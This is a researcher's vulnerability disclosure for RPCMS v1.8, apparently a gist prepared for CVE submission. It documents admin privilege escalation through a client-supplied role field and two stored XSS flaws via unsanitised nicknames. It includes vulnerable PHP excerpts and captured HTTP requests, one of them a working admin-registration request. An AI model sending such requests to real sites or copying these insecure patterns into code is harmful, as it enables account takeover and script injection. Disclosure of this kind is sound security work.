victomteng1997 / **0001.jpg** Secret

Last active last year

RPCMS CVE Submission

0001.jpg

Request

Pretty Raw Hex \n

```
GET /author/1 HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:81/author/1.html
Cookie: PHPSESSID=88he4jakoj2bgirosrkc35kg85; XDEBUG_SESSION=19204
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
```

Response

Pretty Raw Hex

```
HTTP/1.1 200
Date: Tue, 2
Server: Apac
X-Powered-By
Expires: Thu,
Cache-Contro
Pragma: no-c
Connection:
Content-Type
Content-Leng

<!doctype ht
<html>
  <head>
    <meta ht
    <title>
      <img s
      -
    </title>
    <meta na
    <meta na
    <meta na
    <link hr
    <script
    </script
    <style>
```

0002.jpg

Request

Pretty Raw Hex \n

```
POST /api/Member/register HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=88he4jakoj2bgirosrkc35kg85; XDEBUG_SESSION=12050
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

username=user002&password=test001&nickname=user002&role=admin&email=xxxl@qq.com&phone=18888888883
```

Response

Pretty Raw Hex

```
HTTP/1.1 200
Date: Tue, 2
Server: Apac
X-Powered-By
Expires: Thu
Cache-Contro
Pragma: no-c
Connection:
Content-Type
Content-Leng

{
  "code":200
  "message":
  "data":4
}
```

CVE_submission.md

RPCMS CVE Submission

Official Website: https://www.rpcms.cn/, https://github.com/ralap-z/RPCMS/

Version v1.8: https://github.com/ralap-z/rpcms/tree/74c49c4df0e0ac6b187def23bb2dadef40990dce (updated on 12th July 2021, latest version)

Audited on 20th July, 2021, credit to Zhang Zhiyi.

The source code can also be downloaded in this gist (rpcms_1.8.zip) folder

For better understanding of the problems, in-line comments are added in the key parts of source code after `//` sign.

Vulnerability 1: Admin User Registration

When API is enabled, the registered user is normal user by default. However, user can manually set the role to be `admin` to register as admin user.

```
//system/api/Member.class.php
        public function register(){
                $data=array();
                $data['username']=!empty(input('post.username')) ? strip_tags(input('post.username')) : '';
                $data['password']=!empty(input('post.password')) ? strip_tags(input('post.password')) : '';
                $data['nickname']=!empty(input('post.nickname')) ? strip_tags(input('post.nickname')) : $data['username'
                $data['role']=!empty(input('post.role')) ? strip_tags(input('post.role')) : 'member';// normal user acce
                $data['email']=input('post.email');
                $data['phone']=input('post.phone');
                $data['status']=0;
                $data['isCheck']=1;
...
                $data['password']=psw($data['password']);
                $res=Db::name('user')->insert($data);
                Cache::update('user');
                Hook::doHook('api_member_register',array($res));
                $this->response($res,200,'注册成功! ');
        }
```

Trigger the vulnerability (0002.jpg) bypass

Vulnerability 2: Stored XSS1

In the following code, `$title` is displayed directly without sanitizing, resulting in stored XSS. Specifically, it can be triggered at `|0|` and `|1|`.

```
//system/index/Author.class.php
public function index(){
    if(!isset($this->params[1]) || empty($this->params[1])){
        redirect($this->App->baseUrl);
    }
    $data=explode('_',$this->params[1]);
    $page=isset($data[1]) ? intval($data[1]) : 1;
    $user=Cache::read('user');
    if(is_numeric($data[0])){
        $userId=intval($data[0]);
    }else{
        $user2=array_column($user,NULL,'nickname');
        $userId=isset($user2[$data[0]]) ? $user2[$data[0]]['id'] : '';
    }
    if(empty($userId) || !isset($user[$userId])){
        rpMsg('当前作者不存在! ');
    }
    $LogsMod=new LogsMod();
    $logData=$LogsMod->page($page)->order($this->getLogOrder(array('a.isTop'=>'desc')))->author($userId)->select();
    $logData['count']=$user[$userId]['logNum'];
    $title=$user[$userId]['nickname'];// nickname from the user
    $pageHtml=pageInationHome($logData['count'],$logData['limit'],$logData['page'],'author',$userId);
    $this->setKeywords();
    $this->setDescription('关于作者'.$title.'的一些文章整理归档'); //|0|
    $this->assign('title',$title.'-'.$this->webConfig['webName']); //|1|
    $this->assign('listId',$userId);
    $this->assign('listType','author');
    $this->assign('logList',$logData['list']);
    $this->assign('pageHtml',$pageHtml);
    return $this->display('/list');
}
```

It can be seen that variable `nickname` can be used by the attacker. By tracing the usage of `nickname` before loading into database:

function update user password: `updatePsw`

```
public function updatePsw(){
    $nickname=input('post.nickname');
    $password=input('post.password');
    $password2=input('post.password2');
    if(empty($nickname)){
        return json(array('code'=>-1,'msg'=>'昵称不可为空'));
    }
    if(!empty($password) && $password != $password2){
        return json(array('code'=>-1,'msg'=>'两次密码输入不一致'));
    }
    $updata=array('nickname'=>$nickname);
    if(!empty($password)){
        $updata['password']=psw($password);
    }
    if($res=Db::name('user')->where('id='.$this->user['id'])->update($updata)){
        Cache::update('user');
        return json(array('code'=>200,'msg'=>'修改成功','data'=>!empty($password) ? 1 : 0));
    }
    return json(array('code'=>-1,'msg'=>'修改失败，请稍后重试'));
}
```

It can be seen that `nickname` variable is not properly sanitized, taking the direct post input. A stored XSS can be found here.

Trigger the vulnerability: (0001.jpg) 

Vulnerability 3: Stored XSS

Similar to vulnerability 2, after enabling API, users can update to variable `nickname` directly through API without strip tags. Once `nickname` is updated, a stored xss can be triggered when user view articles.

```
//system/api/Member.class.php
public function post(){
    $this->chechAuth(true);
    $nickname=input('post.nickname'); //no filtering
    $password=input('post.password');
    $password2=input('post.password2');
    if(empty($nickname)){
        $this->response('',401,'昵称不可为空');
    }
    if(!empty($password) && $password != $password2){
        $this->response('',401,'两次密码输入不一致');
    }
    $updata=array('nickname'=>$nickname);
    if(!empty($password)){
        $updata['password']=psw($password);
    }
    if($res=Db::name('user')->where('id='.self::$user['id'])->update($updata)){
        Cache::update('user');
        Hook::doHook('api_member_post',array(self::$user));
        $this->response('',200,'修改成功');
    }
    $this->response('',401,'修改失败');
}
```

rpcms_v1.8.zip

This file has been truncated, but you can view the full file.

View raw